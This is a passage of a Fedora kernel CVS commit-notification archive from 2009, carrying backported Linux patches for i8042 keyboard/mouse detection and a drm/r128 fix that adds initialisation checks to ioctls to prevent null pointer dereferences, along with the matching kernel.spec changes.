+			DMI_MATCH(DMI_CHASSIS_TYPE, "8"), /* Portable */
+		},
+	},
+	{
+		.ident = "Laptop",
+		.matches = {
+			DMI_MATCH(DMI_CHASSIS_TYPE, "9"), /* Laptop */
+		},
+	},
+	{
+		.ident = "Notebook",
+		.matches = {
+			DMI_MATCH(DMI_CHASSIS_TYPE, "10"), /* Notebook */
+		},
+	},
+	{
+		.ident = "Sub-Notebook",
+		.matches = {
+			DMI_MATCH(DMI_CHASSIS_TYPE, "14"), /* Sub-Notebook */
+		},
+	},
+	{ }
+};
 #endif
 
 /*
@@ -727,6 +755,11 @@ static int __init i8042_pnp_init(void)
 	i8042_kbd_irq = i8042_pnp_kbd_irq;
 	i8042_aux_irq = i8042_pnp_aux_irq;
 
+#ifdef CONFIG_X86
+	i8042_bypass_aux_irq_test = !pnp_data_busted &&
+				    dmi_check_system(i8042_dmi_laptop_table);
+#endif
+
 	return 0;
 }
 
diff --git a/drivers/input/serio/i8042.c b/drivers/input/serio/i8042.c
index 9f5c050..b53a015 100644
--- a/drivers/input/serio/i8042.c
+++ b/drivers/input/serio/i8042.c
@@ -83,6 +83,8 @@ module_param_named(debug, i8042_debug, bool, 0600);
 MODULE_PARM_DESC(debug, "Turn i8042 debugging mode on and off");
 #endif
 
+static bool i8042_bypass_aux_irq_test;
+
 #include "i8042.h"
 
 static DEFINE_SPINLOCK(i8042_lock);
@@ -641,7 +643,7 @@ static int __devinit i8042_check_aux(void)
  * used it for a PCI card or somethig else.
  */
 
-	if (i8042_noloop || aux_loop_broken) {
+	if (i8042_noloop || i8042_bypass_aux_irq_test || aux_loop_broken) {
 /*
  * Without LOOP command we can't test AUX IRQ delivery. Assume the port
  * is working and hope we are right.

input-i8042-try-disabling-and-re-enabling-aux-port-at-close.patch:
 i8042.c |   50 +++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 49 insertions(+), 1 deletion(-)

--- NEW FILE input-i8042-try-disabling-and-re-enabling-aux-port-at-close.patch ---
From: Dmitry Torokhov <dmitry.torokhov at gmail.com>
Date: Thu, 10 Sep 2009 02:08:15 +0000 (-0700)
Subject: Input: i8042 - try disabling and re-enabling AUX port at close
X-Git-Tag: v2.6.32-rc1~686^2^2~5
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=5ddbc77c3eb54336fcd44b7b66b44784d65677e2

Input: i8042 - try disabling and re-enabling AUX port at close

Ever since we switched from having a polling timer to registering IRQ
handlers for both keyboard and AUX ports at the driver registration
time, on certain boxes probing for a mouse results in keyboard
stopping working. The only real difference between old and new way is
that before we disabled ports after unsuccessful probe whereas now we
leave them as is. Try to emulate the old behavior by disabling and
immediately re-enabling AUX and KBD ports when corresponding serio
port is being closed.

Signed-off-by: Dmitry Torokhov <dtor at mail.ru>
---

diff --git a/drivers/input/serio/i8042.c b/drivers/input/serio/i8042.c
index b53a015..8aaf8fc 100644
--- a/drivers/input/serio/i8042.c
+++ b/drivers/input/serio/i8042.c
@@ -264,6 +264,49 @@ static int i8042_aux_write(struct serio *serio, unsigned char c)
 					I8042_CMD_MUX_SEND + port->mux);
 }
 
+
+/*
+ * i8042_aux_close attempts to clear AUX or KBD port state by disabling
+ * and then re-enabling it.
+ */
+
+static void i8042_port_close(struct serio *serio)
+{
+	int irq_bit;
+	int disable_bit;
+	const char *port_name;
+
+	if (serio == i8042_ports[I8042_AUX_PORT_NO].serio) {
+		irq_bit = I8042_CTR_AUXINT;
+		disable_bit = I8042_CTR_AUXDIS;
+		port_name = "AUX";
+	} else {
+		irq_bit = I8042_CTR_KBDINT;
+		disable_bit = I8042_CTR_KBDDIS;
+		port_name = "KBD";
+	}
+
+	i8042_ctr &= ~irq_bit;
+	if (i8042_command(&i8042_ctr, I8042_CMD_CTL_WCTR))
+		printk(KERN_WARNING
+			"i8042.c: Can't write CTR while closing %s port.\n",
+			port_name);
+
+	udelay(50);
+
+	i8042_ctr &= ~disable_bit;
+	i8042_ctr |= irq_bit;
+	if (i8042_command(&i8042_ctr, I8042_CMD_CTL_WCTR))
+		printk(KERN_ERR "i8042.c: Can't reactivate %s port.\n",
+			port_name);
+
+	/*
+	 * See if there is any data appeared while we were messing with
+	 * port state.
+	 */
+	i8042_interrupt(0, NULL);
+}
+
 /*
  * i8042_start() is called by serio core when port is about to finish
  * registering. It will mark port as existing so i8042_interrupt can
@@ -393,7 +436,7 @@ static irqreturn_t i8042_interrupt(int irq, void *dev_id)
 }
 
 /*
- * i8042_enable_kbd_port enables keybaord port on chip
+ * i8042_enable_kbd_port enables keyboard port on chip
  */
 
 static int i8042_enable_kbd_port(void)
@@ -841,6 +884,9 @@ static void i8042_controller_reset(void)
 	i8042_ctr |= I8042_CTR_KBDDIS | I8042_CTR_AUXDIS;
 	i8042_ctr &= ~(I8042_CTR_KBDINT | I8042_CTR_AUXINT);
 
+	if (i8042_command(&i8042_initial_ctr, I8042_CMD_CTL_WCTR))
+		printk(KERN_WARNING "i8042.c: Can't write CTR while resetting.\n");
+
 /*
  * Disable MUX mode if present.
  */
@@ -1026,6 +1072,7 @@ static int __devinit i8042_create_kbd_port(void)
 	serio->write		= i8042_dumbkbd ? NULL : i8042_kbd_write;
 	serio->start		= i8042_start;
 	serio->stop		= i8042_stop;
+	serio->close		= i8042_port_close;
 	serio->port_data	= port;
 	serio->dev.parent	= &i8042_platform_device->dev;
 	strlcpy(serio->name, "i8042 KBD port", sizeof(serio->name));
@@ -1056,6 +1103,7 @@ static int __devinit i8042_create_aux_port(int idx)
 	if (idx < 0) {
 		strlcpy(serio->name, "i8042 AUX port", sizeof(serio->name));
 		strlcpy(serio->phys, I8042_AUX_PHYS_DESC, sizeof(serio->phys));
+		serio->close = i8042_port_close;
 	} else {
 		snprintf(serio->name, sizeof(serio->name), "i8042 AUX%d port", idx);
 		snprintf(serio->phys, sizeof(serio->phys), I8042_MUX_PHYS_DESC, idx + 1);


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1767
retrieving revision 1.1768
diff -u -p -r1.1767 -r1.1768
--- kernel.spec	17 Oct 2009 12:59:18 -0000	1.1767
+++ kernel.spec	17 Oct 2009 13:18:07 -0000	1.1768
@@ -808,6 +808,10 @@ Patch16000: netlink-fix-typo-in-initiali
 
 Patch16200: sched-update-the-clock-of-runqueue-select-task-rq-selected.patch
 
+# fix mouse and keyboard detection (#522126)
+Patch16300: input-i8042-bypass-aux-irq-delivery-test-on-laptops.patch
+Patch16310: input-i8042-try-disabling-and-re-enabling-aux-port-at-close.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1511,8 +1515,14 @@ ApplyPatch ax25-fix-possible-oops-in-ax2
 # netlink security fix (CVE-2009-3612)
 ApplyPatch netlink-fix-typo-in-initialization.patch
 
+# fix wakeup latency
 ApplyPatch sched-update-the-clock-of-runqueue-select-task-rq-selected.patch
 
+# fix mouse and keyboard detection (#522126)
+ApplyPatch input-i8042-bypass-aux-irq-delivery-test-on-laptops.patch
+ApplyPatch input-i8042-try-disabling-and-re-enabling-aux-port-at-close.patch
+
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2101,6 +2111,9 @@ fi
 # and build.
 
 %changelog
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-89
+- Keyboard and mouse fixes from 2.6.32 (#522126)
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-88
 - Scheduler wakeup patch, fixes high latency on wakeup
   (sched-update-the-clock-of-runqueue-select-task-rq-selected.patch)



From cebbert at fedoraproject.org  Sat Oct 17 13:35:44 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 13:35:44 +0000 (UTC)
Subject: rpms/kernel/F-10
	drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch,
	NONE, 1.1.2.1 kernel.spec, 1.1206.2.105, 1.1206.2.106
Message-ID: <20091017133544.E693C11C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21490

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch 
Log Message:
Fix null deref in r128 (#487546)

drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch:
 r128_cce.c   |   18 ++++++++++++++----
 r128_drv.h   |    8 ++++++++
 r128_state.c |   36 +++++++++++++++++++-----------------
 3 files changed, 41 insertions(+), 21 deletions(-)

--- NEW FILE drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch ---
From: Ben Hutchings <ben at decadent.org.uk>
Date: Sun, 23 Aug 2009 15:59:04 +0000 (+0100)
Subject: drm/r128: Add test for initialisation to all ioctls that require it
X-Git-Tag: v2.6.32-rc1~52^2~89
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=7dc482dfeeeefcfd000d4271c4626937406756d7

drm/r128: Add test for initialisation to all ioctls that require it

[ cebbert: fedora backport ]

Almost all r128's private ioctls require that the CCE state has
already been initialised.  However, most do not test that this has
been done, and will proceed to dereference a null pointer.  This may
result in a security vulnerability, since some ioctls are
unprivileged.

This adds a macro for the common initialisation test and changes all
ioctl implementations that require prior initialisation to use that
macro.

Also, r128_do_init_cce() does not test that the CCE state has not
been initialised already.  Repeated initialisation may lead to a crash
or resource leak.  This adds that test.

Signed-off-by: Ben Hutchings <ben at decadent.org.uk>
Signed-off-by: Dave Airlie <airlied at redhat.com>
---

diff --git a/drivers/gpu/drm/r128/r128_cce.c b/drivers/gpu/drm/r128/r128_cce.c
index 15252f6..4c39a40 100644
--- a/drivers/gpu/drm/r128/r128_cce.c
+++ b/drivers/gpu/drm/r128/r128_cce.c
@@ -346,6 +346,11 @@ static int r128_do_init_cce(struct drm_device * dev, drm_r128_init_t * init)
 
 	DRM_DEBUG("\n");
 
+	if (dev->dev_private) {
+		DRM_DEBUG("called when already initialized\n");
+		return -EINVAL;
+	}
+
 	dev_priv = drm_alloc(sizeof(drm_r128_private_t), DRM_MEM_DRIVER);
 	if (dev_priv == NULL)
 		return -ENOMEM;
@@ -647,6 +652,8 @@ int r128_cce_start(struct drm_device *dev, void *data, struct drm_file *file_pri
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	if (dev_priv->cce_running || dev_priv->cce_mode == R128_PM4_NONPM4) {
 		DRM_DEBUG("while CCE running\n");
 		return 0;
@@ -669,6 +676,8 @@ int r128_cce_stop(struct drm_device *dev, void *data, struct drm_file *file_priv
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	/* Flush any pending CCE commands.  This ensures any outstanding
 	 * commands are exectuted by the engine before we turn it off.
 	 */
@@ -706,10 +715,7 @@ int r128_cce_reset(struct drm_device *dev, void *data, struct drm_file *file_pri
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
-	if (!dev_priv) {
-		DRM_DEBUG("called before init done\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	r128_do_cce_reset(dev_priv);
 
@@ -726,6 +732,8 @@ int r128_cce_idle(struct drm_device *dev, void *data, struct drm_file *file_priv
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	if (dev_priv->cce_running) {
 		r128_do_cce_flush(dev_priv);
 	}
@@ -739,6 +747,8 @@ int r128_engine_reset(struct drm_device *dev, void *data, struct drm_file *file_
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev->dev_private);
+
 	return r128_do_engine_reset(dev);
 }
 
diff --git a/drivers/gpu/drm/r128/r128_drv.h b/drivers/gpu/drm/r128/r128_drv.h
index 797a26c..3c60829 100644
--- a/drivers/gpu/drm/r128/r128_drv.h
+++ b/drivers/gpu/drm/r128/r128_drv.h
@@ -422,6 +422,14 @@ static __inline__ void r128_update_ring_snapshot(drm_r128_private_t * dev_priv)
  * Misc helper macros
  */
 
+#define DEV_INIT_TEST_WITH_RETURN(_dev_priv)				\
+do {									\
+	if (!_dev_priv) {						\
+		DRM_ERROR("called with no initialization\n");		\
+		return -EINVAL;						\
+	}								\
+} while (0)
+
 #define RING_SPACE_TEST_WITH_RETURN( dev_priv )				\
 do {									\
 	drm_r128_ring_buffer_t *ring = &dev_priv->ring; int i;		\
diff --git a/drivers/gpu/drm/r128/r128_state.c b/drivers/gpu/drm/r128/r128_state.c
index 026a48c..af2665c 100644
--- a/drivers/gpu/drm/r128/r128_state.c
+++ b/drivers/gpu/drm/r128/r128_state.c
@@ -1244,14 +1244,18 @@ static void r128_cce_dispatch_stipple(struct drm_device * dev, u32 * stipple)
 static int r128_cce_clear(struct drm_device *dev, void *data, struct drm_file *file_priv)
 {
 	drm_r128_private_t *dev_priv = dev->dev_private;
-	drm_r128_sarea_t *sarea_priv = dev_priv->sarea_priv;
+	drm_r128_sarea_t *sarea_priv;
 	drm_r128_clear_t *clear = data;
 	DRM_DEBUG("\n");
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	RING_SPACE_TEST_WITH_RETURN(dev_priv);
 
+	sarea_priv = dev_priv->sarea_priv;
+
 	if (sarea_priv->nbox > R128_NR_SAREA_CLIPRECTS)
 		sarea_priv->nbox = R128_NR_SAREA_CLIPRECTS;
 
@@ -1312,6 +1316,8 @@ static int r128_cce_flip(struct drm_device *dev, void *data, struct drm_file *fi
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	RING_SPACE_TEST_WITH_RETURN(dev_priv);
 
 	if (!dev_priv->page_flipping)
@@ -1331,6 +1337,8 @@ static int r128_cce_swap(struct drm_device *dev, void *data, struct drm_file *fi
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	RING_SPACE_TEST_WITH_RETURN(dev_priv);
 
 	if (sarea_priv->nbox > R128_NR_SAREA_CLIPRECTS)
@@ -1354,10 +1362,7 @@ static int r128_cce_vertex(struct drm_device *dev, void *data, struct drm_file *
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
-	if (!dev_priv) {
-		DRM_ERROR("called with no initialization\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	DRM_DEBUG("pid=%d index=%d count=%d discard=%d\n",
 		  DRM_CURRENTPID, vertex->idx, vertex->count, vertex->discard);
@@ -1410,10 +1415,7 @@ static int r128_cce_indices(struct drm_device *dev, void *data, struct drm_file
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
-	if (!dev_priv) {
-		DRM_ERROR("called with no initialization\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	DRM_DEBUG("pid=%d buf=%d s=%d e=%d d=%d\n", DRM_CURRENTPID,
 		  elts->idx, elts->start, elts->end, elts->discard);
@@ -1476,6 +1478,8 @@ static int r128_cce_blit(struct drm_device *dev, void *data, struct drm_file *fi
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	DRM_DEBUG("pid=%d index=%d\n", DRM_CURRENTPID, blit->idx);
 
 	if (blit->idx < 0 || blit->idx >= dma->buf_count) {
@@ -1501,6 +1505,8 @@ static int r128_cce_depth(struct drm_device *dev, void *data, struct drm_file *f
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	RING_SPACE_TEST_WITH_RETURN(dev_priv);
 
 	ret = -EINVAL;
@@ -1531,6 +1537,8 @@ static int r128_cce_stipple(struct drm_device *dev, void *data, struct drm_file
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	if (DRM_COPY_FROM_USER(&mask, stipple->mask, 32 * sizeof(u32)))
 		return -EFAULT;
 
@@ -1555,10 +1563,7 @@ static int r128_cce_indirect(struct drm_device *dev, void *data, struct drm_file
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
-	if (!dev_priv) {
-		DRM_ERROR("called with no initialization\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	DRM_DEBUG("idx=%d s=%d e=%d d=%d\n",
 		  indirect->idx, indirect->start, indirect->end,
@@ -1620,10 +1625,7 @@ static int r128_getparam(struct drm_device *dev, void *data, struct drm_file *fi
 	drm_r128_getparam_t *param = data;
 	int value;
 
-	if (!dev_priv) {
-		DRM_ERROR("called with no initialization\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	DRM_DEBUG("pid=%d\n", DRM_CURRENTPID);
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.105
retrieving revision 1.1206.2.106
diff -u -p -r1.1206.2.105 -r1.1206.2.106
--- kernel.spec	17 Oct 2009 11:37:44 -0000	1.1206.2.105
+++ kernel.spec	17 Oct 2009 13:35:42 -0000	1.1206.2.106
@@ -803,6 +803,9 @@ Patch15400: jbd-fix-return-value-of-jour
 # netlink security fix (CVE-2009-3612)
 Patch16000: netlink-fix-typo-in-initialization.patch
 
+# netlink security fix (CVE-2009-3612)
+Patch16100: netlink-fix-typo-in-initialization.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1455,6 +1458,9 @@ ApplyPatch jbd-fix-return-value-of-journ
 # netlink security fix (CVE-2009-3612)
 ApplyPatch netlink-fix-typo-in-initialization.patch
 
+# fix null deref in r128
+ApplyPatch drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2030,6 +2036,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.106
+- Fix null deref in r128 (#487546)
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.105
 - Fix uninitialized data leak in netlink (CVE-2009-3612)
 



From cebbert at fedoraproject.org  Sat Oct 17 13:41:52 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 13:41:52 +0000 (UTC)
Subject: rpms/kernel/F-10 kernel.spec,1.1206.2.106,1.1206.2.107
Message-ID: <20091017134152.138D511C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21989

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Log Message:
add the patch to cvs


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.106
retrieving revision 1.1206.2.107
diff -u -p -r1.1206.2.106 -r1.1206.2.107
--- kernel.spec	17 Oct 2009 13:35:42 -0000	1.1206.2.106
+++ kernel.spec	17 Oct 2009 13:41:51 -0000	1.1206.2.107
@@ -806,6 +806,9 @@ Patch16000: netlink-fix-typo-in-initiali
 # netlink security fix (CVE-2009-3612)
 Patch16100: netlink-fix-typo-in-initialization.patch
 
+# fix null deref in r128
+Patch16200: drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -2036,7 +2039,7 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
-* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.106
+* Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.107
 - Fix null deref in r128 (#487546)
 
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>  2.6.27.37-170.2.105



From cebbert at fedoraproject.org  Sat Oct 17 13:44:04 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sat, 17 Oct 2009 13:44:04 +0000 (UTC)
Subject: rpms/kernel/F-11
	drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch,
	NONE, 1.1 kernel.spec, 1.1768, 1.1769
Message-ID: <20091017134404.5EE6911C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22193

Modified Files:
	kernel.spec 
Added Files:
	drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch 
Log Message:
Fix null deref in r128 (F10#487546)

drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch:
 r128_cce.c   |   18 ++++++++++++++----
 r128_drv.h   |    8 ++++++++
 r128_state.c |   36 +++++++++++++++++++-----------------
 3 files changed, 41 insertions(+), 21 deletions(-)

--- NEW FILE drm-r128-add-test-for-initialisation-to-all-ioctls-that-require-it.patch ---
From: Ben Hutchings <ben at decadent.org.uk>
Date: Sun, 23 Aug 2009 15:59:04 +0000 (+0100)
Subject: drm/r128: Add test for initialisation to all ioctls that require it
X-Git-Tag: v2.6.32-rc1~52^2~89
X-Git-Url: http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=commitdiff_plain;h=7dc482dfeeeefcfd000d4271c4626937406756d7

drm/r128: Add test for initialisation to all ioctls that require it

[ cebbert: fedora backport ]

Almost all r128's private ioctls require that the CCE state has
already been initialised.  However, most do not test that this has
been done, and will proceed to dereference a null pointer.  This may
result in a security vulnerability, since some ioctls are
unprivileged.

This adds a macro for the common initialisation test and changes all
ioctl implementations that require prior initialisation to use that
macro.

Also, r128_do_init_cce() does not test that the CCE state has not
been initialised already.  Repeated initialisation may lead to a crash
or resource leak.  This adds that test.

Signed-off-by: Ben Hutchings <ben at decadent.org.uk>
Signed-off-by: Dave Airlie <airlied at redhat.com>
---

diff --git a/drivers/gpu/drm/r128/r128_cce.c b/drivers/gpu/drm/r128/r128_cce.c
index 15252f6..4c39a40 100644
--- a/drivers/gpu/drm/r128/r128_cce.c
+++ b/drivers/gpu/drm/r128/r128_cce.c
@@ -346,6 +346,11 @@ static int r128_do_init_cce(struct drm_device * dev, drm_r128_init_t * init)
 
 	DRM_DEBUG("\n");
 
+	if (dev->dev_private) {
+		DRM_DEBUG("called when already initialized\n");
+		return -EINVAL;
+	}
+
 	dev_priv = drm_alloc(sizeof(drm_r128_private_t), DRM_MEM_DRIVER);
 	if (dev_priv == NULL)
 		return -ENOMEM;
@@ -647,6 +652,8 @@ int r128_cce_start(struct drm_device *dev, void *data, struct drm_file *file_pri
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	if (dev_priv->cce_running || dev_priv->cce_mode == R128_PM4_NONPM4) {
 		DRM_DEBUG("while CCE running\n");
 		return 0;
@@ -669,6 +676,8 @@ int r128_cce_stop(struct drm_device *dev, void *data, struct drm_file *file_priv
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	/* Flush any pending CCE commands.  This ensures any outstanding
 	 * commands are exectuted by the engine before we turn it off.
 	 */
@@ -706,10 +715,7 @@ int r128_cce_reset(struct drm_device *dev, void *data, struct drm_file *file_pri
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
-	if (!dev_priv) {
-		DRM_DEBUG("called before init done\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	r128_do_cce_reset(dev_priv);
 
@@ -726,6 +732,8 @@ int r128_cce_idle(struct drm_device *dev, void *data, struct drm_file *file_priv
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	if (dev_priv->cce_running) {
 		r128_do_cce_flush(dev_priv);
 	}
@@ -739,6 +747,8 @@ int r128_engine_reset(struct drm_device *dev, void *data, struct drm_file *file_
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev->dev_private);
+
 	return r128_do_engine_reset(dev);
 }
 
diff --git a/drivers/gpu/drm/r128/r128_drv.h b/drivers/gpu/drm/r128/r128_drv.h
index 797a26c..3c60829 100644
--- a/drivers/gpu/drm/r128/r128_drv.h
+++ b/drivers/gpu/drm/r128/r128_drv.h
@@ -422,6 +422,14 @@ static __inline__ void r128_update_ring_snapshot(drm_r128_private_t * dev_priv)
  * Misc helper macros
  */
 
+#define DEV_INIT_TEST_WITH_RETURN(_dev_priv)				\
+do {									\
+	if (!_dev_priv) {						\
+		DRM_ERROR("called with no initialization\n");		\
+		return -EINVAL;						\
+	}								\
+} while (0)
+
 #define RING_SPACE_TEST_WITH_RETURN( dev_priv )				\
 do {									\
 	drm_r128_ring_buffer_t *ring = &dev_priv->ring; int i;		\
diff --git a/drivers/gpu/drm/r128/r128_state.c b/drivers/gpu/drm/r128/r128_state.c
index 026a48c..af2665c 100644
--- a/drivers/gpu/drm/r128/r128_state.c
+++ b/drivers/gpu/drm/r128/r128_state.c
@@ -1244,14 +1244,18 @@ static void r128_cce_dispatch_stipple(struct drm_device * dev, u32 * stipple)
 static int r128_cce_clear(struct drm_device *dev, void *data, struct drm_file *file_priv)
 {
 	drm_r128_private_t *dev_priv = dev->dev_private;
-	drm_r128_sarea_t *sarea_priv = dev_priv->sarea_priv;
+	drm_r128_sarea_t *sarea_priv;
 	drm_r128_clear_t *clear = data;
 	DRM_DEBUG("\n");
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	RING_SPACE_TEST_WITH_RETURN(dev_priv);
 
+	sarea_priv = dev_priv->sarea_priv;
+
 	if (sarea_priv->nbox > R128_NR_SAREA_CLIPRECTS)
 		sarea_priv->nbox = R128_NR_SAREA_CLIPRECTS;
 
@@ -1312,6 +1316,8 @@ static int r128_cce_flip(struct drm_device *dev, void *data, struct drm_file *fi
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	RING_SPACE_TEST_WITH_RETURN(dev_priv);
 
 	if (!dev_priv->page_flipping)
@@ -1331,6 +1337,8 @@ static int r128_cce_swap(struct drm_device *dev, void *data, struct drm_file *fi
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	RING_SPACE_TEST_WITH_RETURN(dev_priv);
 
 	if (sarea_priv->nbox > R128_NR_SAREA_CLIPRECTS)
@@ -1354,10 +1362,7 @@ static int r128_cce_vertex(struct drm_device *dev, void *data, struct drm_file *
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
-	if (!dev_priv) {
-		DRM_ERROR("called with no initialization\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	DRM_DEBUG("pid=%d index=%d count=%d discard=%d\n",
 		  DRM_CURRENTPID, vertex->idx, vertex->count, vertex->discard);
@@ -1410,10 +1415,7 @@ static int r128_cce_indices(struct drm_device *dev, void *data, struct drm_file
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
-	if (!dev_priv) {
-		DRM_ERROR("called with no initialization\n");
-		return -EINVAL;
-	}
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
 
 	DRM_DEBUG("pid=%d buf=%d s=%d e=%d d=%d\n", DRM_CURRENTPID,
 		  elts->idx, elts->start, elts->end, elts->discard);
@@ -1476,6 +1478,8 @@ static int r128_cce_blit(struct drm_device *dev, void *data, struct drm_file *fi
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	DRM_DEBUG("pid=%d index=%d\n", DRM_CURRENTPID, blit->idx);
 
 	if (blit->idx < 0 || blit->idx >= dma->buf_count) {
@@ -1501,6 +1505,8 @@ static int r128_cce_depth(struct drm_device *dev, void *data, struct drm_file *f
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	RING_SPACE_TEST_WITH_RETURN(dev_priv);
 
 	ret = -EINVAL;
@@ -1531,6 +1537,8 @@ static int r128_cce_stipple(struct drm_device *dev, void *data, struct drm_file
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
+	DEV_INIT_TEST_WITH_RETURN(dev_priv);
+
 	if (DRM_COPY_FROM_USER(&mask, stipple->mask, 32 * sizeof(u32)))
 		return -EFAULT;
 
@@ -1555,10 +1563,7 @@ static int r128_cce_indirect(struct drm_device *dev, void *data, struct drm_file
 
 	LOCK_TEST_WITH_RETURN(dev, file_priv);
 
-	if (!dev_priv) {
-		DRM_ERROR("called with no initialization\n");
-		return -EINVAL;
-	}
